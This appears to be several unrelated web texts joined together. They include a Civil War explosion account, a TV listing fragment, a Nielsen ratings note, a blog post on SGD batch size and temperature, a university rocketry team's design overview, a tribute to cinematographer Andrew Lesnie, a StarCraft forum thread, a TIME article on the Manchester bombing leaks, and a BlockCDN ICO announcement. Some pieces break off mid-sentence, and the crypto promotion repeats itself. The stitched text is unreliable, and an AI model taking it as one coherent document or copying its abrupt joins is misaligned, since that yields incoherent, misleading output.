The true cause of the explosion was never determined; there was no formal inquiry into what happened aboard the Greyhound or the circumstances surrounding the explosion and fire. But Porter was convinced the explosion wasn’t an accident.
In the admiral’s eyes, the men ordered off at Bermuda Hundred had planned to capture Butler and any other dignitaries aboard, then set off explosives hidden “among the coal, which they could easily do when the firemen’s backs were turned,” to destroy the ship. The first part of their plot was foiled, but not the second. He added that the saboteurs most likely saturated the woodwork near the engine and firerooms with fuel, so that it quickly ignited when the “coal torpedo” exploded. “In devices for blowing up vessels the Confederates were far ahead of us,” |
0 PAID PROGRAMMING FOXD 6:00 AM 7:00 AM 0 0 CONTACTO DEPORTIVO UDN 6:00 AM 7:00 AM 0 0 GILLETTE WORLD SPORT UDN 7:00 AM 7:30 AM 0 0
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Note: viewership of around 100,000 or lower is technically what Nielsen refers to as a “scratch” i.e., not enough Nielsen panelists watched for Nielsen to validate it. There are around 40,000 homes in the Nielsen panel and a bit over 100,000 panelists, where 1 Nielsen panelist watching a whole telecast represents around 3,000 people. So something averaging a million viewers averaged around 370 people out of the ~100K panel — small, but still statistically significant. But when there’s a show with 30,000 viewers, that’s only around 10 Nielsen panelists…This post is aimed at readers who are already familiar with stochastic gradient descent (SGD) and terms like “batch size”. For an introduction to these ideas, I recommend Goodfellow et al.’s Deep Learning, in particular the introduction and, for more about SGD, Chapter 8. The relevance of SGD is that it has made it feasible to work with much more complex models than was formerly possible.
There is a lot of talk about batch size in stochastic gradient descent (SGD). I will argue in this post that batch size mostly doesn’t matter (as long as it’s not too large), but it can seem to matter when you express SGD in terms of gradients averaged over batches rather than summed. I personally think that expressing SGD in terms of gradients averaged over batches is an unfortunate historical accident that leads to unnecessary confusion about the role of batch size.
A recent preprint by Samuel Smith and Quoc Le (2017) lends some empirical support to the notion that batch size doesn’t matter (though the authors frame it very differently!). They also propose rules for how batch size is related to learning rate, training set size, and momentum, though essentially the same rules already appear in Mandt et al. (2017). Smith and Le treat SGD as a stochastic differential equation (SDE), as do Mandt et al., who also cite Kushner and Yin (2003) and Ljung et al. (2012) as earlier examples. The empirical evidence that Smith and Le’s work gives for the rules proposed by Mandt et al. is valuable.
Anyway, on to the batch size bashing.
Two ways to write vanilla SGD
Consider vanilla SGD with batch size B. If we are estimating θ, each step can be written as
θ new = θ old − ε g avg
where g avg is gradient averaged over the batch and ε is the learning rate. One could alternatively write
θ new = θ old − τ g sum
where g sum is gradient summed over the batch; the term “learning rate” is already taken, so let’s call τ temperature (for reasons which will soon become evident). The above two ways of writing SGD are equivalent when ε/B = τ.
I claim that τ matters and batch size mostly doesn’t (provided it isn’t too large). If you fix a particular ε, however, and then vary B, then B will seem to matter a lot—but this will be mostly because by fixing ε you have tied τ and B together, and temperature τ does matter.
Consider Figure 5a from Smith and Le, where test accuracy is plotted as a function of B for several different values of ε, which by eyeballing I have crudely reproduced here as the graph on the left. Because ε has a fixed value on each curve, the value of B appears to matter. If you take that data and present it as a function of τ for several values of B, you get the graph on the right:
I have conveniently dropped the points where ε = 10—those were points where B is too large, and batch size definitely does matter (in a bad way) when it is too large.
This suggests that test performance is a function of temperature and that B doesn’t matter (again, provided it isn’t too large). This is a stronger statement than claiming the optimal B is linear in ε. If the peaks in the left graph had different heights, we would still have the same scaling rule without test performance being a function of just temperature. The fact that the peaks have the same height is telling us something beyond the scaling rule.
In high-level terms: If you are numerically solving an SDE, then once you get below a certain step size, the noise dominates the discretization error, so further reductions in step size don’t have much effect on the distribution you get; here, B is playing the role of step size, so this is saying B doesn’t matter much once it’s small enough that you’re doing a decent job of solving this SDE. On the other hand, if you insert a factor of 1/B into this SDE (which is what you’re doing when you use gradient averaged over a batch rather than summed) then changing B is changing the SDE which will have a big effect on the distribution you get. But it’s not because of step size, it’s the factor of 1/B in the SDE that really explains the difference.
Likewise, since τ matters and B doesn’t, one should expect there to be a single optimal τ without regard to B. Since τ = ε/B, the proportionality rule B opt ∝ ε illustrated in Figure 5b of Smith and Le is a consequence of this.
There could very well be interesting 2nd-order effects in the choice of batch size, but they are obscured by this 1st-order effect you get when you fix an ε and turn B into a proxy for τ. More importantly, there could be separate reasons to want a particular batch size, perhaps for performance, or for tuning batch normalization. By thinking in terms of τ rather than ε, you are more free to choose B according to these other criteria.
SGD as a sampler rather than optimizer
Now consider how these parameters should vary depending on training set size N. Smith and Le, and earlier work such as Mandt et al. (2017), propose the rule B ∝ εN. This can be equivalently stated as τ ∝ 1/N, and I think this latter formulation makes more clear that batch size isn’t a major consideration.
I prefer to arrive at τ ∝ 1/N more via Mandt et al.’s approach, which views SGD as a sampler rather than an optimizer. To motivate this point of view, suppose you could choose between the following (the silly numbering will be justified later):
You observe N data points, and use the max-likelihood θ (or perhaps MAP θ) to make predictions. You observe N data points, and draw a single θ from your posterior, which you use to make predictions.
If you are in a context where asymptotic normality of MLE applies, you should favor (0). But if your posterior is some hairy high-dimensional thing, crisscrossed with deep but narrow ravines, (0) is awful1 and (1) is decent to very good. (Ideally you’d integrate over your posterior, and (1) is just an approximation of this that integrates for 1 point. That such a 1-point integral can do a good job might be counterintuitive, and I might say more about this in a future post.)
So, I think it is better to treat the aim of SGD as being an approximation of (1) rather than an approximation of (0). This is the context of Mandt et al., though I frame it here a little differently than they do—in particular, they write things in terms of ε rather than τ, which unnecessarily pulls batch size into the picture. I think the perspective of treating SGD as sampling from a distribution is a more compelling way to understand SGD’s generalization properties than to think of it in terms of preferring certain kinds of minima over other kinds of minima. (Among other things, if you’re not decreasing learning rate to 0, you’re not finding any minima.)
For a given choice of temperature τ, the SGD process will, in the long run, approximately follow some Boltzmann distribution exp(-E(θ)/τ). What we would like is for this to resemble our posterior, which looks like exp(-L(θ)/(1/N)) where L(θ) is negative log-likelihood, averaged over the dataset.2 This suggests the scaling rule τ ∝ 1/N. (I don’t think there’s anything too deep here: if you double the number of data points, the influence of any one point should get cut in half.)
Substituting τ = ε/B, this becomes the rule ε ∝ B/N which Mandt et al. propose on page 9. Smith and Le write this in the equivalent form B ∝ εN.
Back to the choice presented above: what if you were in a case where (0) is better, or you wanted something in between? Observe that (0) and (1) are special cases of the same more general rule; if your posterior is exp(-ℓ(θ)), then they are both sampling from exp(-ℓ(θ)/T): (0) is the limiting case as T→0, and (1) is the case T=1. So maybe there’s some fudge factor that should be included in temperature to get the right balance between (0) and (1)—i.e., you’d like to integrate over your posterior, but once you’re told your integral only gets to have a single point, you might want to “sharpen” your posterior before the point is drawn. But this T is absorbed as a multiplicative factor in τ, so if you are tuning τ based on validation performance, you get tuning of T for free.
Burn-in
We have glossed over the issue of burn-in by talking in terms of what temperature you should want in order to get good long-term behavior out of SGD. For very large data sets, if you use this temperature throughout training, you are not going to be running long enough for your process to resemble a stationary process.
In particular, while we expect the optimal long-term temperature to obey the scaling rule τ ∝ 1/N, the optimal initial temperature probably should not vary much with training set size N. (This is consistent with the general consensus that you should start with a high learning rate that is decreased during training.) Temperature is how much you change your mind about θ when shown another data point. With twice as much data, in the long run you should be changing your mind half as much on each point—that’s the τ ∝ 1/N rule. But in terms of getting to a reasonable belief early in training, that first point should change your mind the same amount regardless of how many more points you’re going to get to see. A different way to put this: You probably want to crank up the temperature at first for the sake of mixing even if that higher temperature would yield the wrong long-term behavior if you maintained it.3
Note that lower temperatures are going to tolerate larger batch sizes (in terms of SDEs, the slower your state is changing, the larger the time steps you can get away with while still doing a reasonable job of solving the SDE), so a large batch size that might be acceptable at the low temperatures occurring late in training might be too large during early training at a higher temperature, and you might want to use smaller batch sizes during early high-temperature training.
Momentum
The same “batch size doesn’t really matter” ideas apply if you use SGD with momentum, provided the momentum decay is stated in terms of “decay per point” rather than “decay per batch”, and velocity is also expressed in per-point rather than per-batch terms. For algorithms like RMSProp and Adam, there is the further complication that gradients are divided by some running estimate of standard deviation of gradient; here, I’m guessing you can still get (approximate) indifference to batch size, but you must state the algorithms in terms of estimating what the standard deviations of the per-point gradients are. (That doesn’t require any changes to the libraries you’re using—you just work with one parametrization in your own code and translate it to the convention of the code you’re calling.)
There’s also the question of how to make temperature maintain roughly the same meaning across different values for the momentum damping parameter μ (think of 1−μ as decay per point). One must write the velocity updates as v new =(1−μ)B v old − τμg sum. (The factor of μ when gradient is added to velocity corrects for the fact that, once present, it will affect θ for many steps.) One should still expect τ ∝ 1/N. Relating to ε, B, and m (momentum decay per batch) one has m = (1−μ)B and τ = ε/((1−m)B) which yields the rule B ∝ εN/(1−m) that essentially appears in Smith and Le and Mandt et al. (once notation is accounted for). I don’t mean to suggest that this makes momentum somehow inconsequential; in particular, momentum can affect how quickly you mix.
References
Ian Goodfellow, Yoshua Bengio, and Aaron Courville. Deep Learning. MIT Press, 2016. Available online.
Harold J. Kushner and George Yin. Stochastic approximation and recursive algorithms and applications, volume 35. Springer Science & Business Media, 2003.
Lennart Ljung, Georg Ch. Pflug, and Harro Walk. Stochastic approximation and optimization of random systems, volume 17. Birkhäuser, 2012.
Stephan Mandt, Matthew D. Hoffman, and David M. Blei. Stochastic gradient descent as approximate Bayesian inference. arXiv preprint arXiv:1704.04289, 2017.
Samuel L. Smith and Quoc V. Le. A Bayesian perspective on generalization and stochastic gradient descent. arXiv preprint arXiv:1710.06451, 2017.Technical Design Overview:
Each year, River City Rocketry begins its approach to the overall design of the rocket with a specific goal in mind. In the 2011-2012 school year, the team entered NASA’s USLI competition for the first time; to stand out as a new competitor, the team focused on how to innovate a rocket that would exceed expectations. For the 2012-2013 year, the goal of the team was to design a rocket that was centered on efficiency. This year, 2013 – 2014, our goal is to design a fully modular two-stage rocket that will host systems similar to those seen real life applications.
The successful performance of our rocket last year provided us beneficial insight for future designs. Based on the rocket’s success, we plan to utilize a lot of key features that made it stand out as a successful high powered rocket. For example, lifting a rocket to a calculated altitude requires fuel; and as more weight is added, the rocket requires more fuel to reach the desired altitude. From what we learned last year, we plan on tackling the efficiency and distribution of weight in our design plan. By scraping off unnecessary material throughout the rocket, more robust components can be designed without fear of reaching an undesirable weight. Similar to last year’s rocket, we plan on maintaining the ability to have removable fins on the sustaining stage of our rocket. This method has proven effective in flight and assembly. Mounting the fins in this manner gives us the ability to precisely install the fins as well as quickly replace them in the event of damage. The team will be focusing on various new design features this year. River City Rocketry has always strived to go above and beyond when attacking difficult design problems. To sustain these high standards, we wanted to maintain the same professionalism and technicality when manufacturing and designing this year’s competition rocket. We are to launch a scientific payload which was chosen to be a custom designed autonomous rover. Instead of a simple rover ejection system, where the rover is deployed via a black powder ejection charge, the team opted to design a fairing system that will safely house and deploy the rover. Furthermore, the team has focused on designing a modular two stage rocket to efficiently carry out the task of flying two separate altitudes for the various competitions this year. In order to meet to these requirements, the team must strongly focus on a robust and reliable recovery system that ensures all components ascend and return safely.
Multiple Recovery Systems
One of the core aspects of our rocket’s design is its modular ability to fly as a single stage or a two-stage rocket. Similar to how payloads of modern day space launch vehicles reach orbit, our rocket’s ability to modularly fly as a single or two-staged rocket will achieve a realistic sense of rocketry. With the NASA funding changes over the past year, the USLI competition for this year has changed dramatically. Along with the changes within NASA, came new goals and objectives. This year the team has set our own altitude goal of 10,000 feet. This goal was determined with the dual stage design in mind while still remaining as efficient as possible. The upper sustainer stage of the rocket will meet all primary objectives, including fairing separation and rover deployment. The lower, booster stage section of the rocket is to lift the rocket to a predetermined altitude using a larger high powered motor; this allows sustainer stage to separate from the booster stage and continue on its flight path, under a lower impulse motor, to the 10,000 foot projected. Creating a launch vehicle with real world applications continues with the design of the recovery system. A faring was designed to allow a nonspecific payload to be encapsulated inside. A fairing functions by housing an allocated payload within itself. When the payload is ready for deployment, the fairing is opened and releases the payload. This method permits a payload of any size to reside within the faring as long as its dimensions are able to fit within the allowed space of the airframe. A broad spectrum of payload shapes and functions can be used without interfering with the recovery.
Fairing - Post Rover Deployment
Because the rocket will separate into multiple sections as it ascends, precautionary measures to avert mid-air crises are in effect. Each section will dismember itself from the rocket at alternating altitudes and will descend with its own parachute attached. By staggering the altitudes which sections are released, collision from the various separated components can be avoided as well as tangling of their corresponding parachutes. Drift is also minimized by using small individual parachutes. Wind is less likely to affect their course upon descent. The staggering release of multiple sections of the rocket is unique to the proposed flight path. Starting at approximately 3,000 feet, the booster section will project from the rocket instantly after the motor burnout, and the ignition of the sustainer will follow. At sustainer apogee at 10,000 feet, the nose cone will eject and its parachute will act as a pilot parachute for the entire sustainer assembly.
At 1,000 feet, the lower half of the sustainer will eject from the rest of the vehicle; this leaves only the rover, nosecone, and fairing section under the initial pilot parachute. At an altitude of 500 feet, the fairing will open, and the rover will exit safely attached to its own parachute. The team will execute the goal of launching a rover inside a rocket, ejecting the rover at apogee, and ensuring it lands safely. Once on the ground, the rover navigates a predetermined path and deploys markers at specific points. The entire process will be completed autonomously. Due to the uncertainty of the launch field’s terrain, the rover type is a screw-propelled vehicle. This vehicle was invented by the Soviet Union to recover cosmonauts who landed in areas inaccessible to other ground vehicles. Also, these vehicles are used by the Terrain Twister RC Car by Hot Wheels. A screw-propelled vehicle is best for unknown terrain because it is mechanically efficient on off-road type environments. Keeping with the team’s desire to recreate modern-day launch vehicles, the scew-propelled vehicle is appropriate when encountering unidentified terrain that is inevitable on planetary excursions. Different from wheels or tank treads, the blades on the screws dig into the ground which allows the vehicle to move forward without regard to the terrain conditions. Unlike the Soviet or Hot Wheels vehicle, our rover uses a combination of accelerometers, gyroscopes, and algorithms to navigate independently. Each screw on the rover will be driven by a separate motor that will have its own Electronic Speed Controller (ESC) which is controlled by our microprocessor.
One of the highlights of the rover is its marker-cam deployment system developed by one of our members. This system uses a servo that activates each time a marker is to deploy. Upon landing, the system will detach the parachute connected to the rover, and the parachute will act as the first marker. When the rover’s microprocessor determines the parachute or a marker needing to deploy, a cam attached to the servo turns and pushes a piston forward which causes the pin holding either the marker or parachute to eject. This process is occurs once for the parachute and twice for the markers.
To meet the scientific and technical payload criteria for the USLI competition, additional sensors, based off of the Rover Environmental Monitoring Station onboard the Curiosity rover that is currently on Mars, are required. These sensors will measure humidity, pressure, temperature, and UV radiation. If the rover travelled to another planet, the sensors are capable determining if the weather is suitable for humans. Due to the high amount of processing power that is needed, a BeagleBone Black microprocessor is used; it is powerful enough to process incoming data from each sensor as well as drive the rover sans human control. All the sensors, servo, and motor controllers connect via a custom designed PCB mounted on top of the BeagleBone. If resources and restrictions permit, camera, GPS, and data transmitters may be added to the rover.
The overall design of the rover is very simplistic due to weight constraints defined by each competition; nevertheless, the rover’s design ensures optimal results in both projects.
Educational Engagement:
As in past years, the USLI competition requires the team to participate in educational engagement activities with youth from the surrounding area. The team has particularly enjoyed partaking in community involvement with children and students in the past years and are excited that this aspect of the USLI competition was not eliminated. Team members take pride in teaching others about the fundamentals of space and rocketry as well as applying concrete science to the hobby we love. Last year, we were able to engage with over 1,700 students across Kentucky. Students, parents, and faculty alike were able to get a glimpse of the aerospace and rocket industry as the team shared their passion through presentations and hands-on rocket building. Our goal this year is to continue reaching to youth about our program and the unique experience gained from joining our team. We plan to provide an in-depth curriculum of space history and STEM education to school-aged children; and we hope to create fun and engaging activities for students of all ages.
Outreach Opportunities
Engineering Exposition (E-Expo)
Since 2006, the JB Speed School of Engineering Student Council has hosted the largest student-run event on University of Louisville’s campus called Engineering Exposition. This event is geared towards celebrating strides in engineering as well as getting the local youth interested in the field. During the event, the professional engineering societies on UofL campus set up educational games and scientific demonstrations for the elementary and middle school aged participants. The University of Louisville River City Rocketry Team successfully participated in the 2013 E-Expo by reaching out to over 350 students with a customized water rocket activity. Teams consisting of 3 elementary students were able to use their creativity and problem solving skills to make a water rocket. The River City Rocketry team launched the water rockets using air pressure and handed out awards to teams who excelled in various aspects of the competition. The event proved successful and the team’s booth received high praise from the host. This year, the team plans to participate in the 2014 E-Expo and continue to engage students in the combination of fun, creativity, and knowledge through hands-on rocket building.
Boy Scouts and Cub Scouts
Over the course of the past year, the River City Rocketry Team worked with local Boy Scout and Cub Scout troops to aid in earning the Space Exploration merit badge and assist with hands-on rocket building. Scouts were able to build small model rockets and launch them under supervision of the team. After seeing the enjoyment both team members and scouts from the outreach, more activities with Boy Scouts and Cub Scouts will take place in the coming year.
Engineering is Elementary
Last year, the team traveled to middle and elementary schools in the Louisville area to teach science, technology, engineering, and math (STEM) subjects and to provide positive role models for the students. The team will continue to visit local schools to teach space history, space exploration, and rocketry to young students in addition to the core STEM subjects. The Engineering Fundamentals Department at UofL will be providing the materials for the lessons and supporting these educational engagement activities.
This Year's Rewards
Here's a quick look at this year's sweet rewards.
The Official 2013-2014 River City Rocketry logo that will appear on this year's sticker.
The Official 2013-2014 River City Rocketry Team T-Shirt
The Official 2013-2014 River City Rocketry Team PoloPETER Jackson has shared an emotional tribute to Oscar-winning Australian cinematographer Andrew Lesnie on his Facebook page.
Lesnie, a Sydney filmmaker best known for his groundbreaking work on Jackson’s The Lord Of The Rings trilogy, passed away on Monday after suffering from a heart attack. He was 59.
Jackson posted the following message, titled For Andrew Lesnie, to Facebook late last night:
“Being an only child, I grew up wondering what it would be like to have a brother. It wasn’t until today, in trying to deal with the terrible news of Andrew’s passing, that I came to realise how much he had become that person for me — someone I could intrinsically love and trust — which I know now means someone who is up for all the good and the bad.
“Andrew was an irreplaceable part of my family and I am in total disbelief that I’ll never again hear his infectious laugh, nor benefit from his quiet wisdom, or enjoy his generous praise. Andrew created unforgettable, beautiful images on screen, and he did this time and again, because he only ever served what he believed in — he was his own artist, separate from me, but always working generously to make what we were trying to create together better,” Jackson wrote.
The tribute continues: “On set we developed an ability to work together using a minimum of words — a rare meeting of minds. I will always remember turning up, countless times, at five in the morning — all those quiet moments I had with him when I could step on to set and know he was there — unfazed, ready, listening, interested, more importantly — ready to catch me if I faltered. He always had my back. The more anxious I became, the more calm he would be. A solid rock in the unpredictable world we both chose to work in. After 17 years and 8 movies together, the loss of Andrew is very hard to bear.
“My heart goes out to Jack and Sam, of whom he was enormously proud and to Marce, who gave him so much happiness.
“Dearest Andrew, you never sought nor wanted praise — you never needed to hear how good you were, you only ever cared about doing great work and respecting the work of others. But on behalf of all those who were lucky enough to collaborate with you, love you and in turn, respect your mastery of story, of light and of cinema magic — you are one of the great cinematographers of our time.
Rest in Peace, my friend.
Arohanui,
Pete
Throughout his nearly 40-year career Lesnie was renowned for his innovative camera work that saw him collaborate with some of the world’s greatest filmmakers including Peter Jackson, George Miller and most recently Russell Crowe on The Water Diviner.
He won an Academy Award For Best Cinematography in 2002 for The Fellowship Of The Ring.
The Australian and New Zealand film industries have been shocked by the news, which broke on Tuesday afternoon.
Sometimes -a death just takes the breath right out of ya. Andrew Lesnie was the Chesire Cat behind the Camera with Peter Jackson. This sucks — Harry Knowles (@headgeek666) April 28, 2015
Lesnie’s close friend and co-collaborator Crowe took to Twitter to express his feelings on the heartbreaking news.
Devastating news from home. The master of the light, genius Andrew Lesnie has passed on. — Russell Crowe (@russellcrowe) April 28, 2015
The international film community is said to be “devastated” according to a production manager who worked with Lesnie.
A spokesman from the Australian Cinematographers Society said “We have been advised of the sudden death of Andrew” but that his family would make an official statement at a later time.
The internet was flooded with sentiments from fans and fellow filmmakers shocked by his passing, including entrepreneur Harry Knowles from Ain’t It Cool who got to know Lesnie while visiting the set of Lord Of The Rings and said there were “too many great memories with that man”.
“In the 14 days I was on set of the original LOTR shoot, I swear I never saw Andrew Lesnie not smiling huge & making others feel the same,” Knowles tweeted.
“Andrew Lesnie and Peter Jackson would giggle behind the camera together like the most mischievous pair of movie masters that I’ve seen.”
“I smile thinking of the idea that Brian Bansgrove is asking Andrew Lesnie if he wants it bright & boring or dark & interesting in afterlife.”
Staff at Peter Jackson’s special effects house WETA Digital and Park Road Productions in Wellington are said to be “in mourning” after having worked with Lesnie on the Lord Of The Rings trilogy, King Kong, The Lovely Bones and The Hobbit trilogy.
Lesnie was also a close friend of Mad Max filmmaker George Miller, having worked with him since the eighties on hits such as Mad Max: Road Warrior, the Babe films and the animated movie Happy Feet.Musicus Profile Joined August 2011 Germany 22502 Posts Last Edited: 2015-01-23 03:32:45 #1
https://www.facebook.com/entus.progaming?fref=nf
Today, we have good news about CJ ENTUS Starcraft2 team. That is, we just got a new Zerg player – Ragnarok! For those of you who’ve been waiting for it, we are happy to announce our new member! Please welcome him warmly, thanks!
>>
Hello, this is Ragnarok, the new member of CJ ENTUS. I’m playing Zerg. I had been playing game as a pro-gamer without joining any team, and now I finally found the right place! I am truly happy to be part of CJ ENTUS. I will do my best to achieve the team’s victory, so please give me your support and love. Thank you!
Follow him on twitter!
Follow him on twitter! Baguette lover | I recognize the might and wisdom of my Otherworldly overlord | Serral is overrated, NaNiwa would beat him | Lilbowjwa > Maru | Make SC2 great again, bring back the old Swarm Hosts | ROACH ROACH ROACH
Musicus Profile Joined August 2011 Germany 22502 Posts Last Edited: 2015-01-23 03:23:49 #2 damnit, where did that s in "joins" go, I swear I had it, help please :D
And congrats Ragnarok!
Edit: Thanks! Baguette lover | I recognize the might and wisdom of my Otherworldly overlord | Serral is overrated, NaNiwa would beat him | Lilbowjwa > Maru | Make SC2 great again, bring back the old Swarm Hosts | ROACH ROACH ROACH
SetGuitarsToKill Profile Blog Joined December 2013 Canada 27926 Posts #3 Good for him Community News "As long as you have a warp prism you can't be bad at harassment" - Maru | @SetGuitars2Kill
Aeromi Profile Blog Joined August 2012 France 13982 Posts #4 Nice pick up O'Gaming Esport manager at O'Gaming | https://twitter.com/DrAeromi | Updates on live tournaments: @StarCrafteSport
Boucot Profile Blog Joined October 2011 France 15974 Posts #5 Nice! Former SC2 writer for Millenium - twitter.com/Boucot
The_Templar Profile Blog Joined January 2011 THE FUTURE 52439 Posts #6 Cool pick up! Moderator I'm actually a
CosmicSpiral Profile Blog Joined December 2010 United States 10772 Posts #7 Finally, Ragnarok will have the stability to be Code S full-time. Writer Wovon man nicht sprechen kann, darüber muß man schweigen.
myxoma_strain Profile Joined December 2013 United Kingdom 370 Posts #8 I wonder what they offered him, I remember him saying in interviews he didn't want to join a team. CJ definitely needed a zerg though, so they probably were willing to throw money around
BreAKerTV Profile Blog Joined November 2011 Taiwan 1575 Posts #9 On January 23 2015 12:31 myxoma_strain wrote:
I wonder what they offered him, I remember him saying in interviews he didn't want to join a team. CJ definitely needed a zerg though, so they probably were willing to throw money around
He was looking for a team since he won the 2nd Hong Kong eSports tournament. I was on the ground and watching the live tourney when he won. He was looking for a team since he won the 2nd Hong Kong eSports tournament. I was on the ground and watching the live tourney when he won. Twitter: @BreAKerCS. Website: breakergg.com
FrostedMiniWheats Profile Joined August 2010 United States 30313 Posts Last Edited: 2015-01-23 03:42:26 #10 AWESOME!
He's always been a player with strong potential and he's been teamless for so long qq.
CJ gets another good Zerg. ByuL gets reunited with an IM bro and hopefully someone to help fix that god damn ZvZ D; NesTea | Mvp | MC | Leenock | Losira | Gumiho | DRG | Taeja | Jinro | Stephano | Thorzain | Sen | Idra |Polt | Bomber | Symbol | Squirtle | Fantasy | Jaedong | Maru | sOs | Seed | ByuN | ByuL | Neeb| Scarlett | Rogue | IM forever
TOAA Profile Joined October 2014 United States 38 Posts #11 cj needs zergs, effort will be missed I have God on my side
GGzerG Profile Blog Joined January 2010 United States 9295 Posts #12 Awesome! Zerg powa! AKA: TelecoM[WHITE] Protoss fighting
Shellshock Profile Blog Joined March 2011 United States 94972 Posts #13 Congrats! Moderator http://i.imgur.com/U4xwqmD.png
Circumstance Profile Blog Joined March 2014 United States 11012 Posts #14
William Morris moves fast. Congrats to Ragnarok on finding a team and to Byul for getting someone else to shoulder some of the workload. On January 23 2015 12:22 Musicus wrote:
damnit, where did that s in "joins" go, I swear I had it, help please :D
And congrats Ragnarok!
Edit: Thanks!
Apparently, it went to Ragnarok's announcement tweet. Apparently, it went to Ragnarok's announcement tweet. The world is better when every background has a chance.
vult Profile Blog Joined February 2012 United States 8779 Posts #15 Woooo! He finally found a team!! TSL! Polt plz come back
nktiep Profile Joined December 2010 Vietnam 40 Posts #16 Ragnarok same face herO <3
Brutaxilos Profile Blog Joined July 2010 United States 2381 Posts #17 NICE! About time he found a team. Jangbi favorite player. Forever~ CJ herO the King of IEM. BOMBERRRRRRRR. Sexy Boy Rogue.
Darkhorse Profile Blog Joined December 2011 United States 22865 Posts #18 hooray CJ has a second Zerg Writer "I was born on the same day the fucking holocaust happened" - TL Writers Skype 9/22/2014
Holdenintherye Profile Joined December 2012 Canada 1433 Posts #19 Solid pick up, hope it'll lead to good results for both parties
ZigguratOfUr Profile Blog Joined April 2012 Iraq 13345 Posts #20 Nice. CJ definitely benefits from an extra Zerg. Wonder if he'll be seen in Proleague. Byul is pretty damn good and the rest of the lineup is solid, so unless there are two maps that are very good for Zerg I doubt it.
1 2 3 4 Next AllA series of leaks on the investigation into the Manchester bombing by U.S. officials to the media has severely undermined the intelligence-sharing relationship between Britain and the United States. But British lawmakers tell TIME the alliance has to remain strong as the fight against extremism continues.
At a NATO summit in Brussels on Thursday, British Prime Minister Theresa May said she would confront President Donald Trump over U.S. leaks in relation to the Manchester Arena bombing that killed 22 people, including children and teenagers, late on Tuesday night. “I will make clear to President Trump that intelligence shared between our security agencies must remain secure,” she told reporters.
In the wake of May’s statement, President Trump said he had asked the Justice Department to launch a “complete review” of these and other leaks from his government. “There is no relationship we cherish more than the Special Relationship between the United States and the United Kingdom,” he said in a statement.
British interior minister Amber Rudd had earlier objected to American officials when CBS revealed the name of the bomber, Salman Abedi. “I have been very clear with our friends that that should not happen again,” she told the BBC. But the New York Times subsequently reported a series of leaked images, including what appears to be a bloodstained detonator that was in the suicide bomber’s left hand.
The British Government and intelligence agencies believe these leaks could have undermined their investigation and even endangered lives. “That the Americans have done this is incomprehensible,” said Dominic Grieve, the Conservative Party lawmaker who chairs the powerful Intelligence and Security Committee of Parliament. “I don’t think it endangers our security co-operation with the U.S., but it is very irritating.”
Grieve told TIME the leaks are “a |
BlockCDN is a newly established company located in HongKong, the core team of entrepreneur consist of 5 members which are fans and technical experts of CDN industry.Because of the boundless love for blockchain, they raise blockchain+ sharing economy model which is a perfect solution and subverter for traditional CDN industry
About BlockCDN:
BlockCDN is a decentralized CDN trading market, which deploys Solidity to operate smart contract on Ethereum. With blockchain technology, appeal to global internet idler to share their idle equipment(e.g. personal computer, router, TV box, tablet, mobile phone etc.) to provide the uploaded traffic,thereby making internet fast node ubiquitous,and making Internet access faster,occupy less bandwidth so as to change situation that the cost of bandwidth rental, energy consumption,hardware maintenance for traditional CDN industry are very high.In addition, encourage people to share their idle equipment and bandwidth to avoid waste of resource.BlockCDN is a win-win platform which not only makes people get CDN service with better quality and lower cost, but also let the sharers get good benefits.
Changes about CDN demanders:
BlockCDN will relocate the traditional fast nodes, make fast node ubiquitous, and break the territory restrictions. Also because more and more shared caching nodes joined in and the P2P Multi-point service technology applied, CDN demanders will get a brand new acceleration service with safer data, faster access, cheaper price.
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Without any extra investment, internet idler will get good benefits by sharing idle Internet equipment(include personal computer, router, TV box, tablet, mobile phone etc.)as fast node through BlockCDN
Application of Blockchain in BlockCDN
The characteristic of BlockCDN is below:
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2、Secured from Data Tampering
3、Decentralized Trust
4、Cryptography intensive
5、Symmetric & Asymmetric Cryptography
6、Key splitting and Off-chain Data Distribution
7、Transactions recorded in Blockchain
Based on the characteristic above, BlockCDN compiles the smart contract to protect the CDN demanders and nodes sharers, make them transact with each other on a fair, open and free platform. Let the CDN service become better and the cost become lower!
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The scale of global CDN construction and market grows constantly, according to the data in the micromarketmonitor related report which was released by PRWeb site recently, Global CDN market size is expected to grow from 3.7034 billion$ in 2014 to 12.1637 billion$ in 2019, during that Period the annual compound growth rate will be 26.9%.
In the near future,because of development of technology, BlockCDN will make tens of thousands of people lose their jobs for sure. If you are positive about the future development of BlockCDN, you can join in BlockCDN and become a fast node, also welcome to of PRWeb site participate the ICO of BCDN which is coming soon!
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1. Office website: http://www.blockcdn.org/ 2. Facebook: https://www.facebook.com/blockchaincdn 3. Twitter: https://twitter.com/BlockCDN 4.Story: https://medium.com/@BlockCDN 5.Email: tony@blockcdn.org
Contact us：
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LegendaryActivity: 1162Merit: 1000 Re: [ANN]BlockCDN:A blockchain application in network acceleration September 08, 2016, 02:35:24 PM #19 Quote from: Tony Long on September 08, 2016, 02:30:14 PM Quote from: operabit on September 08, 2016, 02:25:35 PM Quote from: Tony Long on September 08, 2016, 11:14:08 AM BlockCDN:A blockchain application in network acceleration
BlockCDN is a newly established company located in HongKong, the core team of entrepreneur consist of 5 members which are fans and technical experts of CDN industry.Because of the boundless love for blockchain, they raise blockchain+ sharing economy model which is a perfect solution and subverter for traditional CDN industry
About BlockCDN:
BlockCDN is a decentralized CDN trading market, which deploys Solidity to operate smart contract on Ethereum. With blockchain technology, appeal to global internet idler to share their idle equipment(e.g. personal computer, router, TV box, tablet, mobile phone etc.) to provide the uploaded traffic,thereby making internet fast node ubiquitous,and making Internet access faster,occupy less bandwidth so as to change situation that the cost of bandwidth rental, energy consumption,hardware maintenance for traditional CDN industry are very high.In addition, encourage people to share their idle equipment and bandwidth to avoid waste of resource.BlockCDN is a win-win platform which not only makes people get CDN service with better quality and lower cost, but also let the sharers get good benefits.
Changes about CDN demanders:
BlockCDN will relocate the traditional fast nodes, make fast node ubiquitous, and break the territory restrictions. Also because more and more shared caching nodes joined in and the P2P Multi-point service technology applied, CDN demanders will get a brand new acceleration service with safer data, faster access, cheaper price.
What does sharer will get?
Without any extra investment, internet idler will get good benefits by sharing idle Internet equipment(include personal computer, router, TV box, tablet, mobile phone etc.)as fast node through BlockCDN
Application of Blockchain in BlockCDN
The characteristic of BlockCDN is below:
1、Immutable Timestamp Data Store
2、Secured from Data Tampering
3、Decentralized Trust
4、Cryptography intensive
5、Symmetric & Asymmetric Cryptography
6、Key splitting and Off-chain Data Distribution
7、Transactions recorded in Blockchain
